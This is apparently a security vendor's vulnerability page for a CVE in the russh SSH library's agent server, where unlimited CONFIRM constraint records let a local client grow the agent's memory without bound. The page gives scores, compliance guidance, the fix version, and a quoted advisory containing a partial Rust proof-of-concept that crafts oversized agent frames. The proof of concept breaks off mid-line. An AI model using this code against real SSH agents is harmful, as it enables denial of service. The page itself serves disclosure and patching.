Eugeny Russh: Allocation of Resources Without Limits or Throttling (CVE-2026-116696)
Published Last modified Sources: OSV, Hersteller, CVE.org
What is affected, what to do
Update Eugeny Russh to version 0.65.0.
- Affected
- Eugeny Russh
lt *..0.65.0
- Eugeny Russh
- Fixed in
- Eugeny Russh
0.65.0
- Eugeny Russh
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
3.3
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v3
3.3
CVSS v3
Severity Low on the scale from 0 to 10.
Source: OSV, Hersteller, CVE.org
0.1 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 1.3
Show all metrics
- Severity
- Low
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 46.51 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 3.3 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 3.3
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.1 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 1.3
- Low — this CVE sits in the lower 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-770
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.
The SSH agent server that ships with russh (russh::keys::agent::server::serve) parses client key-addition requests and, for each SSH_AGENT_CONSTRAIN_CONFIRM (0x02) record it finds, pushes one Constraint::Confirm value into a per-key vector inside an unbounded loop, then stores the resulting pair permanently in its keystore (russh/src/keys/agent/server.rs:296-303). Neither the constraint vector nor the keystore has a size or count limit: the only boundary is the 256 KiB agent frame cap, and every 1-byte record a client sends becomes a 56-byte enum retained for the life of the process. Any process that can connect to the agent socket - the same trust model the project itself established when fixing a prior advisory about this same request handler - can therefore grow the agent's memory without bound and renew the growth at will: six 256 KiB requests retained 72.4 MiB (about 12.1 MiB per request, a roughly 48-fold amplification) while an equal number of unconstrained key additions retained nothing, measured against the unmodified server through its public API on v0.64.1. The earlier fix for that prior advisory deduplicates only the sibling SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record type and leaves this parallel variant untouched, and since constrained keys never expire the retained memory is never reclaimed.
Details
When a client adds a key with constraints, the server walks the constraint section byte by byte and collects typed values with no upper bound on how many it will accept:
russh/src/keys/agent/server.rs:296-297 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)
} else if t == msg::CONSTRAIN_CONFIRM {
c.push(Constraint::Confirm) // inside the record loop, no length cap
russh/src/keys/agent/server.rs:303-308
- the (key, timestamp, constraints) triple is inserted into the keystore,
and keys without a LIFETIME constraint never expire
The Constraint enum is aligned to its largest variant, so each 1-byte 0x02 record on the wire costs 56 bytes of retained heap, and the frame cap of 256 KiB (server.rs:23,109) is the only thing shaping a single request - the number of requests, and the number of keys in the keystore, are unbounded. The project's fix for its prior agent advisory (commit 4c30503, shipped in 0.64.1) addressed the SSH_AGENT_CONSTRAIN_LIFETIME record by deduplicating lifetime entries and collapsing the per-record timer tasks; the CONSTRAIN_CONFIRM branch in the very same loop was left as-is, so the fixed release still accepts and retains arbitrary amounts of confirm records per key. The privilege model is the one the project used for the prior advisory: any local process able to connect to the agent's listening socket, which in agent-forwarding scenarios includes processes on the remote side of a forwarded session. Both file references are identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the confirm-record handling predates the fork that merged the keys crate, so all released versions are affected.
Proof of concept
The instance is the unmodified russh v0.64.1 agent server started through its public russh::keys::agent::server::serve API inside the PoC process, with the attacker leg and the control leg connecting over an in-process duplex socket exactly as a foreign local client would; the agent handler runs with default configuration and no test hooks. The harness measures live heap with a counting global allocator, generates a fresh Ed25519 key per request, and speaks the real agent framing (4-byte length prefix) with the server's own 256 KiB frame cap. Set the project up with the commands below (the retained run referenced the russh source checked out at tag v0.64.1 via a path dependency and built with the GNU toolchain because the machine lacks MSVC's linker; the crates.io russh@0.64.1 release is the same source and any stable toolchain works; on Windows the built binary carries an .exe extension). The full src/main.rs follows.
cargo new poc_agent_confirm_growth
cd poc_agent_confirm_growth
cargo add russh@0.64.1 tokio --features tokio/full futures@0.3 rand@0.10
cat > src/main.rs <<'EOF'
//! PoC: russh agent server - unbounded persistent memory growth via
//! SSH_AGENT_CONSTRAIN_CONFIRM (0x02) constraint records.
//!
//! Target: russh v0.64.1 (commit e5d80a0), russh/src/keys/agent/server.rs,
//! add_key() -> `c.push(Constraint::Confirm)` inside an unbounded loop, with
//! no cap on the resulting per-key constraint vector and no cap on the number
//! of keys in the keystore.
//!
//! Relationship to GHSA-4wc5-f2rc-q74m (fixed in 0.64.1): that advisory covered
//! the SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record, whose fix (commit 4c30503)
//! deduplicates lifetime records only. The parallel CONFIRM record variant is
//! not covered: each 1-byte 0x02 record retains one 56-byte Constraint enum in
//! the persistent keystore (>=50x amplification, never expires, renewable).
//!
//! Attack model (same as GHSA-4wc5): any local process able to connect to the
//! agent's listening socket. No authentication on the socket by default.
//!
//! The attacker here only uses the socket (tokio duplex); the agent server
//! runs unmodified via the public `russh::keys::agent::server::serve` API.
use std::alloc::{GlobalAlloc, Layout, System};
use std::sync::atomic::{AtomicU64, Ordering};
use futures::stream::once;
use tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream};
static LIVE: AtomicU64 = AtomicU64::new(0);
struct Counting;
unsafe impl GlobalAlloc for Counting {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
let p = System.alloc(layout);
if !p.is_null() {
LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);
}
p
}
unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {
LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);
System.dealloc(p, layout)
}
}
#[global_allocator]
static A: Counting = Counting;
fn live_mb() -> f64 {
LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)
}
fn fresh_key() -> russh::keys::PrivateKey {
russh::keys::ssh_key::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519)
.expect("keygen")
}
const FRAME_MAX: usize = 256 * 1024; // MAX_AGENT_FRAME_LEN in agent/server.rs
fn frame(payload: &[u8]) -> Vec<u8> {
let mut f = Vec::with_capacity(payload.len() + 4);
f.extend_from_slice(&(payload.len() as u32).to_be_bytes());
f.extend_from_slice(payload);
f
}
/// Build one ADD_IDENTITY (17) frame: no constraints (control leg).
fn add_key_plain(key: &russh::keys::PrivateKey) -> Vec<u8> {
use russh::keys::ssh_encoding::Encode;
let mut p = vec![17u8]; // SSH_AGENTC_ADD_IDENTITY
key.key_data().encode(&mut p).unwrap();
Vec::<u8>::new().encode(&mut p).unwrap(); // empty comment
frame(&p)
}
/// Build one ADD_IDENTITY_CONSTRAINED (25) frame whose constraint section is
/// `n` consecutive SSH_AGENT_CONSTRAIN_CONFIRM (0x02) records.
fn add_key_confirm(key: &russh::keys::PrivateKey, n: usize) -> Vec<u8> {
use russh::keys::ssh_encoding::Encode;
let mut p = vec![25u8]; // SSH_AGENTC_ADD_IDENTITY_CONSTRAINED
key.key_data().encode(&mut p).unwrap();
Vec::<u8>::new().encode(&mut p).unwrap(); // empty comment
p.resize(p.len() + n, 0x02);
frame(&p)
}
async fn round(conn: &mut DuplexStream, req: Vec<u8>) -> u8 {
conn.write_all(&req).await.expect("write frame");
let mut resp = [0u8; 5];
conn.read_exact(&mut resp).await.expect("read reply");
resp[4] // SUCCESS(6) / FAILURE(5) after 4-byte length prefix
}
#[tokio::main]
async fn main() {
println!("== poc_agent_
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| Eugeny | russh |
|
|
| crates.io | russh |
|
|
| rust | russh |
|
|
Vendors and products
Weakness classes (CWE)
CWE-770Allocation of Resources Without Limits or Throttling
Base
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
Entry at MITRE CWE-770
References & sources
- github.comEugeny/russh/commit/23aa5d28fe9601c5bdfe9e60b7ec5d4f882c3de6x_refsource_MISC, web
- github.comEugeny/russh/releases/tag/v0.65.0x_refsource_MISC, web
- github.comEugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9x_refsource_CONFIRM, web
- NVD (NIST)vuln/detail/CVE-2026-116696advisory
- github.comEugeny/russhpackage
Changes to this CVE
Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).
ReceivedGitHub
CVSS V3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Weakness type: CWE-770
Description added or changed
Show 7 original changes
Individual changes of this event as published by NVD Type Action Before After Description added —russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, russh::keys::agent::server::serve in russh/src/keys/agent/server.rs accepts repeated SSH_AGENT_CONSTRAIN_CONFIRM records while adding a key and appends every Constraint::Confirm record to the key's retained constraint vector without a count or memory limit. A process that can connect to the agent socket, including the remote side of a forwarded agent session, can repeatedly add constrained keys and cause renewable memory growth that persists for the process lifetime because keys without a lifetime constraint do not expire. This issue is fixed in version 0.65.0.CVSS added —AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:LWeakness type (CWE) added —CWE-770Affected versions (publisher) added —New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/116xxx/CVE-2026-116696.json">CVE-2026-116696</a>Reference added —https://github.com/Eugeny/russh/commit/23aa5d28fe9601c5bdfe9e60b7ec5d4f882c3de6Reference added —https://github.com/Eugeny/russh/releases/tag/v0.65.0Reference added —https://github.com/Eugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9Source identifier: security-advisories@github.com
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-116696"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-116696.svg?lang=en" alt="CVE-2026-116696 – NEOSEC Intel" height="20"></a>